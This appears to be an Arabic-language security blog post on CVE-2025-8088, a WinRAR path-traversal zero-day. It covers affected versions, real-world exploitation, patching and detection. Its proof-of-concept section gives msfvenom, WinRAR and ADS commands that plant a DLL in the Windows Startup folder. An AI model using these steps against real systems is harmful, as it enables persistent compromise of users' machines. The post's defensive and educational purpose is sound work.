CVE-2025-8088: ثغرة تجاوز المسار ليوم الصفر في WinRAR — من الصفر إلى الاختراق 🗿

مقدمة – تم القبض على "الصديق القديم" وهو يتراخى

WinRAR — الكلاسيكي المغبر الذي يمتلكه الجميع ولكن لا أحد يحدّثه — تمت معاقبته للتو بثغرة يوم صفر عالية الخطورة: CVE-2025-8088.

• الخطورة: CVSS v3.1 ← 8.8 (عالية)
• تم استغلالها في البرية من قبل جهات تهديد مثل RomCom (Storm-0978) و Paper Werewolf.
• تم التصحيح في: WinRAR 7.13 (تم الإصدار في 30 يوليو 2025).
• إذا كنت على الإصدار 7.12 أو أقل — فأنت هدف سهل.

حتى CISA قامت بدفعها إلى كتالوج الثغرات المستغلة المعروفة الخاص بها، مع موعد نهائي للتصحيح في 2 سبتمبر 2025. هذا ليس مجرد نظري — بل نار حية.

ما هي الثغرة؟ 🧩

• النوع: تجاوز المسار (اجتياز الدليل)
• الالتواء: تستخدم تيارات البيانات البديلة (ADS) لإخفاء الحمولات
• التأثير: يمكن لملفات RAR الخبيثة استخراج محتويات خارج المجلد المقصود — فكر: ..\Startup\evil.dll
• النتيجة: وضع ملفات عشوائية ← استمرارية ← باب خلفي ← مدينة RAT.

المتأثر: WinRAR لنظام Windows (≤7.12)، UnRAR.dll، Portable UnRAR الآمن: إصدارات Linux، Unix، Android.

أولاً وقبل كل شيء — هل أنت عرضة للخطر؟ 🕵️‍♂️

قبل أن تصاب بالذعر أو تلعب دور الهاكر، تحقق من إصدارك.

كيفية التحقق:

• الواجهة الرسومية: افتح WinRAR ← تعليمات ← حول WinRAR
• CMD/Powershell:

winget list WinRAR

(أو قم بتشغيل winrar.exe من دليل تثبيته)

• فحص DLL: انقر بزر الماوس الأيمن على UnRAR.dll ← خصائص ← تفاصيل.

عندما بدأت كتابة هذا، كنت على الإصدار 7.10 — نعم، جاهز للاصطياد 🗿🐔🍗.

كيفية التصحيح (قبل أن يقوم شخص ما بتصحيحك أنت) 🛡️

1. قم بتنزيل أحدث إصدار من: rarlab.com/download.htm
2. اختر 64 بت أو 32 بت حسب نظامك.
3. قم بتشغيل المثبّت ← سيحل محل الإصدار القديم.
4. تحقق: تعليمات ← حول WinRAR ← يجب أن يظهر 7.13 أو أحدث.
5. استبدل UnRAR.dll في الأدوات التابعة، إن وجدت.

WinRAR لا يقوم بالتحديث التلقائي — اضبط تذكيرًا في التقويم، لا تصبح هدفًا ثابتًا.

ملاحظة: تجاهل مرونة خلفية سطح المكتب هنا — كان عليّ أن أتباهى قليلاً! 😏

الاستغلال في البرية ⚔️

• RomCom (Storm-0978): رسائل تصيد موجهة باستخدام نماذج طلبات عمل، أهداف مرتبطة بأوكرانيا.
• Paper Werewolf: قفز على الفور بعد ذلك، مستهدفًا مؤسسات روسية.
• الحمولات المسلمة: SnipBot، RustyClaw، متغيرات Mythic Agent.
• تم إسقاط ملفات DLL/LNK ضارة في مجلدات %TEMP% و Startup.
• أدرجتها CISA في 12 أغسطس 2025 ← موعد نهائي: 2 سبتمبر 2025.

إثبات المفهوم (PoC) – معمل خاضع للرقابة فقط! 🧨

⚠ تنويه: هذا لأغراض اختبار أمني تعليمي ومرخص فقط. لا تتحول إلى عفريت كامل 🗿.

الخطوة 1: إنشاء DLL خبيث

msfvenom -p windows/x64/exec CMD=calc.exe -f dll > evil.dll

الخطوة 2: صياغة RAR مع اجتياز

winrar a -ep -ap"\\..\\..\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\" payload.rar evil.dll

الخطوة 3: (اختياري) تمويه باستخدام ADS

type evil.dll > legit.txt:evil.dll

الخطوة 4: استخراج باستخدام WinRAR الثغِر

بوم — evil.dll ينتهي في Startup. عند إعادة التشغيل التالية؟ مرحبًا calc.exe.

التخفيف والصيد 🐺

• التصحيح ← WinRAR 7.13+

• ابحث عن ملفات .dll أو .lnk مشبوهة في:

  • %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup
  • %TEMP%

• راقب ADS:

  root@kitploit:~

  streams.exe -s C:\
  

• قاعدة IDS/IPS: قم بتمييز RAR الذي يحتوي على تسلسلات ..\.

• إضافات Nessus/Qualys متاحة بالفعل.

الجدول الزمني الرئيسي

• 18 يوليو 2025 – اكتشاف ESET للاستغلال النشط
• 30 يوليو 2025 – إصدار التصحيح (7.13)
• 12 أغسطس 2025 – الإضافة إلى كتالوج KEV الخاص بـ CISA
• 2 سبتمبر 2025 – الموعد النهائي الإلزامي للتصحيح للوكالات الفيدرالية

كلمات ختامية – صحح أو اهلك 🗿

لم تكن هذه ثغرة "ربما يومًا ما" — بل كانت مسلحة قبل الإفصاح عنها. إذا كنت لا تزال على الإصدار 7.10 (مثلي عندما كنت أكتب هذا)، قم بالتصحيح الآن. إذا كنت في الجانب الأحمر، اعتبر هذه دراسة حالة لكيفية تحول الأدوات القديمة إلى نواقل هجوم جديدة.